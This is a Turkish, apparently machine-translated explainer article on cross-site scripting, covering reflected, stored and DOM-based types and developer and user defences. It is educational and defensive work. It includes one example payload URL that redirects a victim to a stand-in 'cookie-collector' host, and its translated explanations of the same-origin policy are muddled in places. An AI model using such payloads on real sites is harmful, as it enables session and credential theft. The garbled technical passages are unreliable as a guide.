Siteler arası komut dosyası oluşturma veya XSS, güçlü ve hızlı bir saldırı olabilir. Geliştirici olarak, kodunuzdaki bir hatayı bile kabul edebilir ve orada olmayan hataları aramaya başlayabilirsiniz.

Savunmasız web sitesini kullanan bir istemci olarak, saldırgana kimlik doğrulama erişiminiz hakkındaki hayati bilgileri masum bir şekilde ifşa edebilirsiniz.

Peki siteler arası komut dosyası oluşturma nedir? Bilgisayar korsanları bir web sitesine girmek ve verilerinizi çalmak için bunu nasıl kullanabilir? Ve böyle bir riski nasıl azaltabilirsiniz?

Siteler Arası Komut Dosyası Nedir?

Siteler arası komut dosyası oluşturma veya XSS, kötü amaçlı bir web sitesinden komut dosyası savunmasız bir web sitesindeki kodla etkileşime girerse gerçekleşir.

Ancak sunucular, kimlik doğrulaması olmayan kişilerin web sitenizin kaynak koduna erişmesini ve bunları düzenlemesini engelleyecek şekilde bağlanmıştır.

İnternet, siteler arası etkileşimleri engellemek için Aynı Kaynak Politikasını (SOP) kullanır. Bununla birlikte, SOP, üç ana güvenlik açığını kontrol eder ve bunları hafifletmeye çalışır. Onlar:

instagram viewer

  • Her iki web sitesinin de güvenli SSL (HTTPS) veya güvenli olmayan bir URL (HTTP) üzerinden içerik teslim edip etmediğini kontrol eden İnternet protokolü politikası.
  • Her iki web sitesini de aynı etki alanında barındırmanızı sağlayan aynı web barındırma politikası.
  • Her iki web sitesinin de benzer iletişim uç noktaları kullanıp kullanmadığını kontrol eden bağlantı noktası politikası.

SOP, bu politikalardan herhangi birinin herhangi iki web sitesi için farklı olması durumunda, web üzerinden veri okuyamayacağını veya veri alışverişi yapamayacağını kabul eder.

Ancak JavaScript, bir web sitesinin yanıt verme hızını belirleyen manipülatif bir dildir. Web sitenizin JavaScript'i büyük olasılıkla ayrı bir dosyadayken, bir komut dosyası etiketi de oluşturabilir ve bunu Belge Nesne Modelinize (DOM) yazabilirsiniz.

Dolayısıyla, bir XSS saldırganı şunu düşünebilir: "Bir DOM'a JavaScript yazabiliyorsanız, sonuçta JavaScript'i herhangi bir kod düzenleyici veya HTML etiketlerini kabul eden giriş alanı. "

Bu tür bir güvenlik açığı ve şans, XSS kullanan bir saldırganın hedef web sitesinde aradığı şeydir. Böyle bir boşluk bulduklarında, SOP'yi atlayabilirler.

İlişkili: Ultimate JavaScript Hile Sayfası

Bu nedenle XSS, korsanların savunmasız bir web sitesine kötü amaçlı eylem gerçekleştiren bir komut dosyası enjekte etmek için kullandıkları bir saldırıdır. Komut dosyası, korumasız formları veya verileri kabul eden giriş alanlarını hedefleyebilir.

Örneklerle Siteler Arası Komut Dosyası Nasıl Çalışır ve Türler

XSS, bir saldırganın arama alanları gibi formlara yerleştirdiği yansıtılmış veya geçici bir komut dosyasının hızlı bir şekilde yürütülmesi olabilir. Ayrıca, veritabanına enjekte edilen bir dırdırcı veya ısrarcı olabilir. Veya bir sayfa yüklendikten sonra pasif olarak gelebilir.

Bazı durumlarda, bu komut dosyası, kurbanın amacını değiştirmek için orijinal girdisini de değiştirebilir. Bir kullanıcının girdilerinde bunun gibi kalıcı bir değişiklik, mutasyona uğrayan bir XSS'dir.

Hangi biçimde gelirse gelsin, bir XSS saldırısının amacı, açık çerezler ve günlükler aracılığıyla bir kurbanın verilerini çalmaktır.

Ne olduklarını anlamak için bu XSS saldırı türlerinin her birinin kısa bir açıklamasına ve örneklerine bakalım.

Yansıyan XSS Nedir?

Yansıtılmış veya geçici bir XSS, bir kullanıcının girdi alanına doğrudan JavaScript enjeksiyonudur. Arama sonuçları gibi veritabanından veri alan istekleri hedefler. Ancak bu tek müşterili bir saldırıdır.

Yansıyan bir XSS sırasında, saldırgan hedef kurbanın arama terimine bir komut dosyası ekler. Bu tür JavaScript bir yankı, yönlendirme veya çerez toplayıcı olabilir.

Arama giriş alanına enjekte edilen komut dosyası, hedef müşteri sorgusunu gönderir göndermez yürütülür.

Örneğin, bir kullanıcının araması sırasında, saldırgan bir formu yansıtan bir JavaScript ekleyerek kurbanın parolasını veya kullanıcı adını girmesini isteyebilir. Kullanıcı bunu yaptığında, kimlik bilgilerini bilmeden bir saldırgana gönderebilir ve bunun orijinal siteden bir istek olduğunu düşünebilir.

Bazen saldırgan, bir kullanıcıyı savunmasız sayfadan kendi sayfasına yeniden yönlendirmek için bir komut dosyası da kullanabilir. Saldırganın sayfasında, şüphelenmeyen bir kullanıcı kandırılarak birkaç form gönderebilir ve bu da kimlik bilgilerinin sızmasına neden olabilir.

Benzer şekilde, amaç bir kullanıcının oturumunu çalmaksa, saldırgan kullanıcının arama terimine bir çerez toplama komut dosyası enjekte eder. Daha sonra kullanıcının mevcut oturumunu ele geçirirler, ilgili bilgileri çalarlar ve kurbanın faaliyetlerini devralırlar.

Aşağıdaki örnek XSS saldırısı, bir GET isteği aracılığıyla bir kullanıcının çerezini çalar:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Yukarıdaki XSS örneğinde, saldırgan, savunmasız web sitesinde bir boşluk bulur. Bu nedenle, bir kullanıcı savunmasız sitede bulunmayan bir kaynağı aradığında, onları saldırganın sayfasına yönlendirir. Saldırgan daha sonra mevcut kullanıcının çerezine dokunur ve oturumunu alır.

Ancak bu güvenlik açığı, bir sitenin sorgu eyleminin HTML aracılığıyla komut dosyası enjeksiyonlarını kontrol etmek için filtrelenmediği durumlarda yaygındır.

Ancak filtrelenmiş bir sorgu olsa bile, bir saldırgan, bir web sitesinin olası gerçek zamanlı kullanıcılarına bağlantılar göndermek gibi çaresiz önlemlere başvurarak bunu atlayabilir. Bunu herhangi birini kullanarak yapabilirler sosyal mühendislik formu onlar için mevcut.

İlişkili: Bir Kimlik Avı Saldırısına Düştükten Sonra Ne Yapmalı?

Kurbanlar böyle bir bağlantıya tıkladığında, korsan artık XSS saldırısını başarıyla gerçekleştirebilir ve kurbandan ilgili verileri çalabilir.

Kalıcı veya Depolanan Siteler Arası Komut Dosyası

Depolanan XSS daha fazla tehdit oluşturur. Bu durumda, bir saldırgan komut dosyasını bir web sitesinin veritabanında saklar ve depolanan komut dosyasının kalıcı bir şekilde yürütülmesini tetikler. Depolanan kod, sayfa yüklemesinde veya sayfa yüklemesinden sonra çalışabilir.

XSS'nin geçici biçiminden farklı olarak, depolanan bir XSS, savunmasız web sitesinin tüm kullanıcı tabanını hedefler. Buna ek olarak, etkilenen web sitesinin bütünlüğünü de hedefler.

Kalıcı bir XSS sırasında, saldırgan komut dosyasını bir web sitesinin veritabanına göndermek için yorum formları gibi girdi alanlarını kullanır.

Peki ya POST alanlarını CSRF belirteçleriyle koruyorsanız? Maalesef, depolanmış siteler arası komut dosyası, CSRF denetimlerini atlar.

Bunun nedeni, saldırganın web sitesinin diğer tüm kullanıcıları gibi bir form göndermesidir. Bu nedenle, böyle bir yorum formu, diğer tüm yorumları yaptığı gibi komut dosyasını veritabanına gönderir.

Bu tür bir saldırı, bir web sitesindeki giriş alanları komut dosyalarından ve HTML etiketlerinden kaçmak için uygun temizleyiciler kullanmadığında meydana gelebilir.

Bir web yorum formu kullanarak aşağıdaki komut dosyasını yayınlayan bir kullanıcı düşünün:




Bir saldırgan bir web sitesinin veritabanına böyle bir kod eklediğinde, sayfa yüklenirken kurbanı saldırganın web sitesine yeniden yönlendirmeye devam eder. Komut dosyası ayrıca bir uyarı, etkileşimli bir kalıcı kutu veya gömülü bir kötü amaçlı reklam olabilir.

Komut dosyası sayfa yüklenirken yeniden yönlendirdiği için, savunmasız web sitesine aşina olmayan bir kurban yeniden yönlendirmeyi fark edemeyebilir.

Daha sonra saldırganın web sitesiyle etkileşime girmeye devam ederler. Bununla birlikte, korsan, web sayfalarına girdikten sonra kurbanlardan bilgi almak için çeşitli yöntemler kullanabilir.

DOM veya Pasif XSS Nedir?

DOM tabanlı bir XSS, web sitesine gömülü kötü amaçlı bir kodu yürütür ve istemci tarafındaki tüm DOM'u alışılmadık şekilde davranmaya zorlar.

Depolanan ve yansıtılan XSS, bir web sitesinde sunucu tarafı isteklerini hedeflerken, DOM XSS çalışma zamanı etkinliklerini hedefler. Belirli bir görevi yerine getiren bir web sitesinin bileşenine bir komut dosyası ekleyerek çalışır. Bu bileşen, bir sunucu tarafı eylemi yürütmez.

Ancak, böyle bir bileşene eklenen komut dosyası amacını tamamen değiştirir. Bu bileşen, bir web sitesinin öğelerini değiştirenler gibi DOM ile ilgili bir görev gerçekleştirirse, komut dosyası tüm web sayfasını değişmeye zorlayabilir.

Daha kötü durumlarda, DOM tabanlı bir XSS bir hatayı taklit edebilir. Bunun nedeni, web sayfasının alışılmadık şekilde reaktif hale gelmesidir.

Siteler Arası Komut Dosyası Çalıştırma Saldırısı Nasıl Önlenir

XSS güvenlik açığı, en iyi arka uç uygulamalarının yanlış kullanımından kaynaklanır. Bu nedenle siteler arası komut dosyası çalıştırma saldırısını önlemek genellikle geliştiricinin sorumluluğundadır. Ancak kullanıcıların da oynayacakları bir rol var.

Giriş alanları için CSFR belirteci kullanmak XSS saldırılarına bir çözüm gibi görünmüyor. Ve bu saldırı aynı zamanda Aynı Kaynak Politikasını da atladığından, geliştiricilerin XSS'yi engelleyen güvenlik uygulamalarını atlamamaya dikkat etmeleri gerekir.

Aşağıdaki önleyici tedbirler geliştiriciler için faydalıdır.

Giriş Alanlarını Temizleyin

Hem depolanan hem de geçici XSS'yi önlemek için, giriş alanları için verimli dezenfektanlar kullanmalısınız. Örneğin, arama sorgularının temizlenmesi, kullanıcıların arama terimlerine etiket eklenmesini önler.

Unicode ve HTML Otomatik Kaçışını Kullanın

Yorum ve dönüştürme formları gibi giriş alanlarının komut dosyalarını ve HTML etiketlerini kabul etmesini önlemek için HTML ve Unicode otomatik çıkış kullanmak yararlıdır. Otomatik kaçış, depolanan veya kalıcı XSS'ye karşı güçlü bir önleyici önlemdir.

Kullanıcıların yorum formlarına etiket eklemelerine izin vermek, herhangi bir web sitesi için kötü bir fikirdir. Bu bir güvenlik ihlali. Ancak buna izin vermeniz gerekiyorsa, yalnızca XSS tehdidi oluşturmayan etiketleri kabul etmelisiniz.

Uygun Giriş Doğrulamasını Kullanın

Etiketleri tamamen engelleseniz bile, bir saldırgan yine de sosyal yollarla XSS saldırısı gerçekleştirebilir. Doğrudan savunmasız web sitesine herhangi bir şey yerleştirmek yerine e-posta gönderebilirler.

Dolayısıyla, bunu önlemenin bir başka yöntemi de girdileri verimli bir şekilde doğrulamaktır. Bu tür önlemler, doğrulama protokollerini ve web sitenizin HTTP'den değil, yalnızca güvenli HTTPS'den gelen girdileri kabul etmesini sağlamayı içerir.

Dompurify gibi özel JavaScript kitaplıklarının kullanılması, XSS ile ilgili güvenlik ihlallerinin engellenmesine de yardımcı olabilir.

Gibi araçları kullanabilirsiniz XSS Tarayıcı veya GEEKFLARE web sitenizdeki XSS güvenlik açıklarını kontrol etmek için.

Kullanıcılar XSS'yi Nasıl Önleyebilir?

Bugün internette milyonlarca web sitesi var. Yani hangisinin XSS güvenlik sorunları olduğunu söyleyemezsiniz.

Ancak, bir kullanıcı olarak, kullanmadan önce herhangi bir web hizmetine aşina olduğunuzdan emin olmalısınız. Bir web sayfası aniden tüyler ürpertici hale gelirse veya alışılmadık şekilde davranmaya başlarsa, bu kırmızı bir bayrak olabilir.

Durum ne olursa olsun, kişisel verileri güvenilmeyen bir üçüncü tarafa ifşa etmemeye dikkat edin. Ardından, istenmeyen e-postalar veya şüpheli sosyal medya gönderileri için tetikte olun. kimlik avı saldırılarının biçimi.

Tek Bir Önleyici Yöntem Yok Her Şeye Uygun

Bir XSS saldırısının neye benzediğini ve nasıl önleneceğini gördük. Geliştirme sırasında XSS güvenlik kontrollerini unutmak kolaydır. Bu nedenle geliştiriciler, korumanın ihmal edilmemesini sağlamak için adımlar atmalıdır. Ancak, daha önce listelediğimiz önleyici tedbirlerin bir kombinasyonu daha iyi sonuç veriyor.

E-posta adresi
CSRF Saldırıları Nedir ve Bunları Nasıl Önleyebilirsiniz?

CSRF saldırılarında nakit ve kimlik bilgilerinizi kaybetmenizi önlemek için hem geliştiricilerin hem de kullanıcıların oynayacakları bir rol vardır.

İlgili konular
  • Güvenlik
  • JavaScript
  • Tarayıcı Güvenliği
Yazar hakkında
Idowu Omisola (53 Makale Yayınlandı)

Idowu, akıllı teknoloji ve üretkenlik konusunda tutkulu. Boş zamanlarında kodlama ile oynar ve sıkıldığında satranç tahtasına geçer, ancak arada bir rutinden uzaklaşmayı da sever. İnsanlara modern teknolojinin etrafındaki yolu gösterme tutkusu onu daha fazla yazmaya motive ediyor.

Idowu Omisola'dan Daha Fazla

Haber bültenimize abone ol

Teknoloji ipuçları, incelemeler, ücretsiz e-kitaplar ve özel fırsatlar için haber bültenimize katılın!

Bir adım daha…!

Lütfen size az önce gönderdiğimiz e-postadaki e-posta adresinizi onaylayın.

.